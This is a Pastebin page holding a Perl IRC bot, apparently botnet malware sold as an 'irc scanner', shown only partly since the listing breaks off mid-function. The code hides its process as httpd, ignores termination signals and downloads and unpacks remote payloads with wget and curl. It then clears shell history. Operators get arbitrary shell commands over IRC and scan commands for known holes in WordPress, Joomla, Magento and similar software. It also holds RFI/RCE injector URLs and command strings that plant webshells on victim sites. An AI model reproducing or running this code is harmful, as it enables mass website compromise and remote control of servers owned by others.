API tools faq
paste
M4G1233N

irc scanner terbaru

M4G1233N
Nov 5th, 2016
1,609
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 364.80 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI::Escape;
  15. use Digest::MD5 qw(md5_hex);
  16. use DBI;
  17.  
  18.  
  19. my $datetime    = localtime;
  20. my $fakeproc    = "/usr/sbin/httpd";
  21. my $ircserver   = "irc.blackunix.us";
  22. my $number      = int(rand(99));
  23. my $ircport     = "7000";
  24. my $nickname    = "Arhy-Scanner";
  25. my $ident       = "yes";
  26. my $channel     = "#Arhy";
  27. my $chanxxx     = "#Arhy";
  28. my $admin       = "Crusher";
  29. my $fullname    = "arhy-Bot";
  30. my $rawmsg      = $ARGV[4];
  31. my $msgraw      = $ARGV[5];
  32.  
  33. my $nob0dy      = "4,1UnKnown ";
  34. my $thumblogo   = "0,1TIM ";
  35. my $lfilogo     = "4,1LFI ";
  36. my $e107logo    = "0,1E107 ";
  37. my $rfilogo     = "4,1rfi ";
  38. my $mmfclogo    = "0,1MMFC ";
  39. my $zenlogo     = "4,1ZEN ";
  40. my $jcelogo     = "0,1JCE ";
  41. my $xmllogo     = "4,1XML ";
  42. my $cliplogo    = "0,1CLIPBUCKET ";
  43. my $redlogo     = "4,1REDMYSTIC ";
  44. my $whmlogo     = "0,1WHMCS ";
  45. my $livelogo    = "4,1LIVECART ";
  46. my $reflogo     = "0,1REFLEX-GALLERY ";
  47. my $oscologo    = "4,1OSCOMMERCE ";
  48. my $switchlogo  = "0,1SWITCHBLADE ";
  49. my $photologo   = "4,1PHOTOSTORE ";
  50. my $eleminlogo  = "0,1ELEMIN ";
  51. my $revlogo     = "4,1(0,1@4,1RevSlider4,1)";
  52. my $foliologo   = "4,1BT-PORTFOLIO ";
  53. my $rcilogo     = "0,1RCI ";
  54. my $uplogo      = "4,1UP ";
  55. my $jnewslogo   = "0,1JNEWS ";
  56. my $jinclogo    = "4,1JINC ";
  57. my $mglogo      = "0,1MagEnto ";
  58. my $mg2logo     = "4,1(0,1@4,1MagMi4,1)";
  59. my $oscologo    = "4,1<4,1X4,1> 0,1OsCo 4,1<4,1X4,1>";
  60. my $jdllogo     = "15(7@2jDownLoads15)";
  61. my $fablogo     = "15(7@Com-Pabrik15)";
  62. my $flelogo     = "15[2@12Fx-Content15]";
  63. my $jmulogo     = "15[2@12JM-Media15]";
  64. my $alplogo     = "15[2@12AU-Points15]";
  65. my $actlogo     = "15[2@12AP-Content15]";
  66. my $horlogo     = "15[2@12Hornot215]";
  67.  
  68.  
  69. my $osco2cmd     = "!osc".$number."";
  70. my $thumbcmd    = "!tix";
  71. my $lficmd  = "!lfx";
  72. my $e107cmd = "!e107x";
  73. my $rficmd  = "!rfix";
  74. my $mmfccmd = "!mfcx";
  75. my $zencmd  = "!zen";
  76. my $jcecmd  = "!jcxx";
  77. my $xmlcmd  = "!xmlx";
  78. my $clipcmd = "!clipx";
  79. my $redcmd  = "!redx";
  80. my $whmcmd  = "!whmx";
  81. my $livecmd = "!livex";
  82. my $refcmd  = "!refx";
  83. my $oscocmd = "!osx";
  84. my $switchcmd   = "!swx";
  85. my $photocmd    = "!phx";
  86. my $elemincmd   = "!elex";
  87. my $revcmd  = "!rev";
  88. my $rescmd  = "!res";
  89. my $mgcmd   = "!mag";
  90. my $mg2cmd  = "!mag2";
  91. my $foliocmd    = "!fox";
  92. my $rcicmd  = "!rxx";
  93. my $upcmd   = "!upx";
  94. my $jnewscmd    = "!jnewsx";
  95. my $jinccmd = "!jincx";
  96. my $jdlcmd = "!jdl";
  97. my $fabcmd = "!fab";
  98. my $flecmd  = "!fle";
  99. my $jmucmd  = "!jmu";
  100. my $alpcmd  = "!alp";
  101. my $actcmd  = "!act";
  102. my $horcmd  = "!hor";
  103. my $ftpcmd     = "!ftpx";
  104.  
  105. my $timot   = 10;
  106. my $jembot  = "images.php";
  107. my $jembotx  = "cpx.php";
  108. #my $ngilang    = "rm -rf";
  109. qx($ngilang $0);
  110. my $silentmode  = 1;
  111.  
  112. my $hostinjector = "wordpress.com.advanced-tec.com";
  113. my $thumbid = "http://".$hostinjector."/xp.php";
  114. my $thumbidx = "http://".$hostinjector."/win7.php";
  115. my $injectorrfi  = "http://".$hostinjector."/id.txt";
  116. my $botshellrfi = "http://".$hostinjector."/sad.txt";
  117. my $botshellrfi2 = "http://".$hostinjector."/sadow.txt";
  118. my $rceinjector  = "http://203.89.187.238/brycegallery.co.nz//cache/id.txt";
  119. my $bogel = "http://landhaus-schermer.at/test/php/4nt-crew.php";
  120. my $fabfile = "http://www.puertascavero.com/videos/4nt-crew.php";
  121. my $injector  = "http://ezenmedia.net/.wp-user/ipays.txt";
  122. my $backdoor  = "http://milano2010.omat360.it/images/smilies/moi.jpg";
  123. my $backdoor2  = "http://milano2010.omat360.it/images/smilies/moi.jpg";
  124. my $botshell  = "http://egystore.org/image/foto81.jpg";
  125. my $botshell2  = "http://egystore.org/image/foto82.jpg";
  126. my $botshell3  = "http://egystore.org/image/foto83.jpg";
  127. my $subticket = "/submitticket.php?step=2&deptid=1";
  128. my $md5php = md5_hex($thumbid).".php";
  129. my $md5cps = md5_hex($thumbidx).".php";
  130. my $timid = uri_escape($thumbid);
  131. my $timidx = uri_escape($thumbidx);
  132. my $action = "/data/shell.php";
  133.  
  134. my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php";
  135. my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
  136. my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
  137.  
  138. my $uagent   = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
  139. sub randomagent {
  140. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  141. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  142. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  143. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  144. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  145. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  146. );
  147. my $random = $array[rand @array];
  148. return($random);
  149. }
  150. my $useragent = randomagent();
  151.  
  152. my $jpath = "?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  153. my $jpath1 = "https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  154.  
  155. my $jack1 = "http://www.panini.nl/lisse/wp-includes/arhy-website.php?q=";
  156. my $jack2 = "http://prolocosanzenone.dev1.noonic.com/wp-includes/arhy-website.php?q=";
  157. my $jack3 = "http://unipak.nl/wp-includes/arhy-website.php?q=";
  158. my $jack4 = "http://mojadietaonline.pl/wp-includes/arhy-website.php?q=";
  159. my $jack5 = "http://www.balum.com.co/sitemap/docss/arhy-website.php?q=";
  160. my $jack6 = "http://www.hyattlatam.com/menph/holidays/en/arhy-website.php?q=";
  161. my $jack7 = "http://partosazancnc.ir/wp-includes/arhy-website.php?q=";
  162. my $jack8 = "http://8webdemo.in/herbalife/wp-includes/images/bypass302.php?q=";
  163. my $jack9 = "http://www.naofanshe.cn/wp-includes/arhy-website.php?q=";
  164. my $jack10 = "http://sabia.com.au/wp-includes/images/bypass302.php?q=";
  165. my $engine  = "GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,BaiDu,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz";
  166.  
  167. my @jpaths = ('administrator/components/com_civicrm/civicrm/packages/OpenFlashChart','components/com_civicrm/civicrm/packages/OpenFlashChart','administrator/components/com_acymailing/inc/openflash','components/com_acymailing/inc/openflash','administrator/components/com_jnewsletter/includes/openflashchart','components/com_jnewsletter/includes/openflashchart','administrator/components/com_jinc/classes/graphics','components/com_jinc/classes/graphics','administrator/components/com_maian15/charts','components/com_maian15/charts','components/com_jnews/includes/openflashchart','administrator/components/com_jnews/includes/openflashchart');
  168. my $jvuln = "/php-ofc-library/ofc_upload_image.php";
  169. my $jshell = "/tmp-upload-images/magic.php";
  170. my $inject = "barner]";
  171. my $jcpanel = "/tmp-upload-images/magic.php.pHp";
  172.  
  173.  
  174. $SIG{'INT'}   = 'IGNORE';
  175. $SIG{'HUP'}   = 'IGNORE';
  176. $SIG{'TERM'}  = 'IGNORE';
  177. $SIG{'CHLD'}  = 'IGNORE';
  178. $SIG{'PS'}    = 'IGNORE';
  179. chdir("/tmp/.ICE-unix/");
  180. chop (my $priper = `wget http://pathwaysfinancial.biz/www.arhy.website/arhy.zip;wget http://pathwaysfinancial.biz/www.arhy.website/4nt-crew.zip;wget http://pathwaysfinancial.biz/www.arhy.website/revslider.zip;wget http://pathwaysfinancial.biz/www.arhy.website/showbiz.zip;wget http://axiomatech.com/wp-content/uploads/2014/www.arhy.website.txt -O www.arhy.website.php;wget http://www.danielquadros.com.br/magic.tgz;tar -zxvf magic.tgz;fetch http://www.danielquadros.com.br/magic.tgz;tar -zxvf magic.tgz;curl -O http://www.danielquadros.com.br/magic.tgz;tar -zxvf magic.tgz;rm -fr magic.tgz*;killall -9 sh;history -c`);
  181. $ircserver = "$ARGV[0]" if $ARGV[0];
  182. $ircport = "$ARGV[1]" if $ARGV[1];
  183. $nickname = "$ARGV[2]" if $ARGV[2];
  184. $channel = '#'."$ARGV[3]" if $ARGV[3];
  185. $0 = "$fakeproc"."\0" x 16;
  186. my $pid = fork;
  187. exit if $pid;
  188. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  189.  
  190. our %irc_servers;
  191. our %DCC;
  192. my $dcc_sel = new IO::Select->new();
  193. $sel_client = IO::Select->new();
  194. sub sendraw {
  195.     if ($#_ == '1') {
  196.     my $socket = $_[0];
  197.     print $socket "$_[1]\n";
  198.     } else {
  199.         print $IRC_cur_socket "$_[0]\n";
  200.     }
  201. }
  202. sub connector {
  203.     my $mynick = $_[0];
  204.     my $ircserver_con = $_[1];
  205.     my $ircport_con = $_[2];
  206.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  207.     if (defined($IRC_socket)) {
  208.         $IRC_cur_socket = $IRC_socket;
  209.         $IRC_socket->autoflush(1);
  210.         $sel_client->add($IRC_socket);
  211.         $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  212.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  213.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  214.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  215.         nick("$mynick");
  216.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  217.         sleep(1);}}
  218.  
  219. sub parse {
  220.     my $servarg = shift;
  221.     if ($servarg =~ /^PING \:(.*)/) {
  222.         sendraw("PONG :$1");
  223.     }
  224.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  225.         if (lc($1) eq lc($mynick)) {
  226.             $mynick = $4;
  227.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  228.         }
  229.     }
  230.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  231.         nick($mynick.int(rand(5)));
  232.     }
  233.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  234.         $mynick = $2;
  235.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  236.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  237.         sendraw("NickServ IDENTIFY petbot");
  238.         sendraw("MODE $mynick +R");
  239.         sendraw("MODE $mynick +Bx");
  240.         sendraw("NS id qwe123");
  241.         sleep(3);
  242.         sendraw("JOIN $channel");
  243.         sendraw("JOIN $chanxxx");
  244.         sleep(1);
  245.     sendraw("PRIVMSG $channel :4,1Scanner 0,1By 4,1Arhy 0,1Green 4,1Core!!!");
  246.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  247.     }
  248. }
  249.  
  250. my $line_temp;
  251. while( 1 ) {
  252.     while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  253.     select(undef, undef, undef, 0.01);
  254.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  255.     my @ready = $sel_client->can_read(0);
  256.     next unless(@ready);
  257.     foreach $fh (@ready) {
  258.         $IRC_cur_socket = $fh;
  259.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  260.         $nread = sysread($fh, $ircmsg, 4096);
  261.         if ($nread == 0) {
  262.             $sel_client->remove($fh);
  263.  
  264.             $fh->close;
  265.             delete($irc_servers{$fh});
  266.         }
  267.         @lines = split (/\n/, $ircmsg);
  268.         $ircmsg =~ s/\r\n$//;
  269.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  270.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);         
  271.             if ($path eq $mynick) {
  272.                 if ($msg =~ /^PING (.*)/) {
  273.                     sendraw("NOTICE $nick :PING $1");
  274.                 }
  275.                 if ($msg =~ /^VERSION/) {
  276.                     sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  277.                 }
  278.                 if ($msg =~ /^TIME/) {
  279.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  280.                 }
  281.                 if (&isAdmin($nick) && $msg eq "!die") {
  282.                     &shell("$path","kill -9 $$");
  283.                 }
  284.                 if (&isAdmin($nick) && $msg eq "!killall") {
  285.                     &shell("$path","killall -9 perl");
  286.                 }
  287.                 if (&isAdmin($nick) && $msg eq "!reset") {
  288.                     sendraw("QUIT :Restarting...");
  289.                 }
  290.                 if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
  291.                     sendraw("JOIN #".$1);
  292.                 }
  293.                 if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
  294.                     sendraw("PART #".$1);
  295.                 }
  296.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  297.                     sendraw("NICK ".$1);
  298.                 }
  299.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  300.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  301.                 }
  302.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  303.                     &shell("$nick","$msg");
  304.                 }
  305.                 if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  306.                     sendraw("$rawmsg $msgraw ".$1);
  307.                 }
  308.                 if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  309.                     sendraw("PRIVMSG $rawmsg ".$1);
  310.                 }
  311.                 if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  312.                     sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  313.                 }
  314.                 if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  315.                     $newtimot = $1;
  316.                     $timot = $newtimot;
  317.                     &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  318.                 }
  319.                 if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  320.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  321.                     $newchan = $1;
  322.                     $chanxxx = $newchan;
  323.                     &msg("$admin","9,1 xChan change to4 $chanxxx ");
  324.                 }}}
  325.             }
  326.             else {
  327.                 if (&isAdmin($nick) && $msg eq "!die") {
  328.                     &shell("$path","kill -9 $$");
  329.                 }
  330.                 if (&isAdmin($nick) && $msg eq "!killall") {
  331.                     &shell("$path","killall -9 perl");
  332.                 }
  333.                 if (&isAdmin($nick) && $msg eq "!reset") {
  334.                     sendraw("QUIT :Restarting...");
  335.                 }
  336.                 if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
  337.                     sendraw("JOIN #".$1);
  338.                 }
  339.                 if (&isAdmin($nick) && $msg eq "!partx") {
  340.                     sendraw("PART $path");
  341.                 }
  342.                 if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
  343.                     sendraw("PART #".$1);
  344.                 }
  345.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  346.                     &shell("$path","$1");
  347.                 }
  348.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  349.                     &shell("$path","$1");
  350.                 }
  351.                 if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
  352.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  353.                     $smod = $1;
  354.                 if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  355.                 elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  356.                     &msg("$path","4,1[4,1!4,1]0,1Silent 4,1Mode15 $silentstat !!!!");
  357.                 }}}
  358.                 ##################################################################### HELP COMMAND
  359.                
  360.                 if ($msg=~ /^!help/) {
  361.                     my $helplogo = "4,1HELP ";dsu
  362. &msg("$path","4,1Ketika Sahabat Menjadi Bangsat ");
  363.                     &msg("$path","$helplogo4,1TIM Vuln Scan:0,1 $thumbcmd 4,1[bug] 0,1[dork] ");
  364.  
  365. &msg("$path","$helplogo4,1rfi Vuln Scan:0,1 $rficmd 4,1[dork] ");
  366.                     &msg("$path","$helplogo4,1OSCOMMERCE Vuln Scan:0,1 $oscocmd 4,1[dork] ");
  367.                     &msg("$path","$helplogo4,1E107 Vuln Scan:0,1 $e107cmd 4,1[dork] ");
  368.                     &msg("$path","$helplogo4,1MMFC Vuln Scan:0,1 $mmfccmd 4,1[dork] ");
  369.                     &msg("$path","$helplogo4,1ZEN Vuln Scan:0,1 $zencmd 4,1[dork] ");
  370.                     &msg("$path","$helplogo4,1JCE Vuln Scan:0,1 $jcecmd 4,1[dork] ");
  371.                     &msg("$path","$helplogo4,1XML Vuln Scan:0,1 $xmlcmd 4,1[bug] [dork] ");
  372.                     &msg("$path","$helplogo4,1CLIPBUCKET Vuln Scan:0,1 $clipcmd 4,1[dork] ");
  373.                     &msg("$path","$helplogo4,1REDMYSTIC Vuln Scan:0,1 $redcmd 4,1[dork] ");
  374.                     &msg("$path","$helplogo4,1LIVECART Vuln Scan:0,1 $livecmd 4,1[dork] ");
  375.                     &msg("$path","$helplogo4,1REFLEX-GALLERY Vuln Scan:0,1 $refcmd 4,1[dork] ");
  376.                     &msg("$path","$helplogo4,1PHOTOSTORE Vuln Scan:0,1 $photocmd 4,1[dork] ");
  377.                     &msg("$path","$helplogo4,1SWITCHBLADE Vuln Scan:0,1 $switchcmd 4,1[dork] ");
  378.                     &msg("$path","$helplogo4,1ELEMIN Vuln Scan:0,1 $elemincmd 4,1[dork] ");
  379.                     &msg("$path","$helplogo4,1RevSlider FTP Vuln Scan:0,1 $revcmd 4,1[dork] ");
  380.                     &msg("$path","$helplogo4,1RevSlider Uploader Vuln Scan:0,1 $rescmd 4,1[dork] ");                   
  381.                     &msg("$path","$helplogo4,1BT-PORTFOLIO Vuln Scan:0,1 $foliocmd 4,1[dork] ");
  382.                     &msg("$path","$helplogo4,1RCI Vuln Scan:0,1 $rcicmd 4,1[dork] ");
  383.                     &msg("$path","$helplogo4,1UPLOADIFY Vuln Scan:0,1 $upcmd 4,1[dork] ");
  384.                     &msg("$path","$helplogo4,1JNEWS Vuln Scan:0,1 $jnewscmd 4,1[dork] ");
  385.                     &msg("$path","$helplogo4,1JINC Vuln Scan:0,1 $jinccmd 4,1[dork] ");
  386.                     &msg("$path","$helplogo4,1Magento Vuln Scan:0,1 $mgcmd 4,1[dork] ");
  387.                     &msg("$path","$helplogo4,1Magento Magmi Scan:0,1 $mg2cmd 4,1[dork] "); 
  388.                     &msg("$path","$helplogo4,1Jdownloads Scan:0,1 $jdlcmd 4,1[dork] ");
  389.                     &msg("$path","$helplogo4,1Com Pabrik:0,1 $fabcmd 4,1[dork] ");     
  390.                     &msg("$path","$helplogo4,1hornot Vuln Scan:0,1 $horcmd 4,1[dork] ");
  391.                     &msg("$path","$helplogo4,1com_alphacontent Scan:0,1 $actcmd 4,1[dork] ");
  392.                     &msg("$path","$helplogo4,1com_alphauserpoints:0,1 $alpcmd 4,1[dork] ");
  393.                     &msg("$path","$helplogo4,1com_jmultimedia:0,1 $jmucmd 4,1[dork] ");
  394.                     &msg("$path","$helplogo4,1com_flexicontent:0,1 $flecmd 4,1[dork] ");                   
  395.                     &msg("$path","4,1We Are 0,1 Blackunix-Crew ");              
  396.                 }
  397.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  398.                     &msg("$nick","4,1Fake Process/PID : $fakeproc - $$");
  399.                 }
  400.                 if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  401.                     $inject1 = "";
  402.                     $inject2 = "";
  403.                             my $cekby1 = &get_content($rceinjector);
  404.                     my $cekby2 = &get_content($thumbid);
  405.                     if ($cekby1 =~ m/<?php/g){ $inject1 = "4,1Ready 0,1Gay!!!"; } else { $inject1 = "4,1Asu 0,1Lost!!!"; }
  406.                     if ($cekby2 =~ /GIF89a/i){ $inject2 = "4,1Ready 0,1Gay!!!"; } else { $inject2 = "4,1Asu 0,1Lost!!!"; }
  407.                             &msg("$path","4,1Injector Checker");     
  408.                     &msg("$path","4,1RCE 0,1Injector: $inject1");
  409.                     &msg("$path","4,1Timthumb 0,1Injector: $inject2");            
  410.                                         &msg("$path","4,1End Of Injector Checker");
  411.                 }
  412.                 if (&isAdmin($nick) && $msg=~ /^!ip\s+(.*)/ ) {
  413.                     if (my $pid = fork) { waitpid($pid, 0); } else {
  414.                         if (fork) { exit; } else {
  415.                             my $ip = $1;
  416.                             &msg("$path","4,1IP0,1Searching4,1 ".$ip." 0,1Location");
  417.                             my $website = "http://www.ipligence.com/geolocation";
  418.                             my ($useragent,$request,$response,%form);
  419.                             undef %form;
  420.                             $form{ip}  = $ip;
  421.                             $useragent = LWP::UserAgent->new;
  422.                             $useragent->timeout(5);
  423.                             $request   = POST $website,\%form;
  424.                             $response  = $useragent->request($request);
  425.                             if ($response->is_success) {
  426.                             my $res = $response->content;
  427.                                 if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) {
  428.                                 my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  429.                                 &msg("$path","4,1IP4IP Address :0,1 ".$ip." 4,1[".$ipaddress."]");
  430.                                 &msg("$path","4,1IP4City       :0,1 ".$ip." 4,1[".$city."]");
  431.                                 &msg("$path","4,1IP4Country    :0,1 ".$ip." 4,1[".$country."]");
  432.                                 &msg("$path","4,1IP4Continent  :0,1 ".$ip." 4,1[".$continent."]");
  433.                                 }
  434.                                 else {
  435.                                 &msg("$path","4,1IP0,1".$ip." 4,1not found in database");
  436.                                 }
  437.                             }
  438.                             else {
  439.                             &msg("$path","4,1IP0,1Cannot open IP database.");
  440.                             }
  441.                         }
  442.                         exit;
  443.                     }
  444.                 }
  445.                                 if (&isAdmin($nick) && $msg=~ /^!dns\s+(.*)/){
  446.                                my $nsku = $1;
  447.                                $mydns = inet_ntoa(inet_aton($nsku));
  448.                                &msg("$path", "4,1DNS0,1 $nsku 12Resolved to 4 $mydns");  
  449.                             }
  450.                                 if (&isAdmin($nick) && $msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
  451.                     my $hostip= "$1";
  452.                     my $portsc= "$2";
  453.                     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  454.                     if ($scansock) {
  455.                     &msg("$path","4,1PORT0,1 $hostip :4,1 $portsc 0,1Successful !");
  456.                     }
  457.                     else {
  458.                     &msg("$path","4,1PORT0,1 $hostip :4,1 $portsc 0,1Failed !");
  459.                     }
  460.                 }
  461.                 if (&isAdmin($nick) && $msg eq "!bypass") {
  462.                                 my $bystats1 = "";
  463.                                 my $bystats2 = "";
  464.                                 my $bystats3 = "";
  465.                                 my $bystats4 = "";
  466.                                 my $bystats5 = "";
  467.                                 my $bystats6 = "";
  468.                                 my $bystats7 = "";
  469.                                 my $bystats8 = "";
  470.                                 my $bystats9 = "";
  471.                                 my $bystats10 = "";
  472.                                 my $bystats11 = "";
  473.                                 my $bystats12 = "";
  474.                                 my $bystats13 = "";
  475.  
  476.                                 my $cekby1 = &get_content($jack1."search");
  477.                                 my $cekby2 = &get_content($jack2."search");                
  478.                                 my $cekby3 = &get_content($jack3."search");
  479.                                 my $cekby4 = &get_content($jack4."search");
  480.                                 my $cekby5 = &get_content($jack5."search");
  481.                                 my $cekby6 = &get_content($jack6."search");
  482.                                 my $cekby7 = &get_content($jack7."search");
  483.                                 my $cekby8 = &get_content($jack8."search");
  484.                                 my $cekby9 = &get_content($jack9."search");
  485.                                 my $cekby10 = &get_content($jack10."search");
  486.                                 my $cekby11 = &get_content($jack11."search");
  487.                                 my $cekby12 = &get_content($jack12."search");
  488.                                 my $cekby13 = &get_content($jack13."search");
  489.  
  490.                                 if ($cekby1 =~ /search/i){ $bystats1 = "4,1Up!"; } else { $bystats1 = "0,1Lost!"; }
  491.                                 if ($cekby2 =~ /search/i){ $bystats2 = "4,1Up!"; } else { $bystats2 = "0,1Lost!"; }
  492.                                 if ($cekby3 =~ /search/i){ $bystats3 = "4,1Up!"; } else { $bystats3 = "0,1Lost!"; }
  493.                                 if ($cekby4 =~ /search/i){ $bystats4 = "4,1Up!"; } else { $bystats4 = "0,1Lost!"; }
  494.                                 if ($cekby5 =~ /search/i){ $bystats5 = "4,1Up!"; } else { $bystats5 = "0,1Lost!"; }
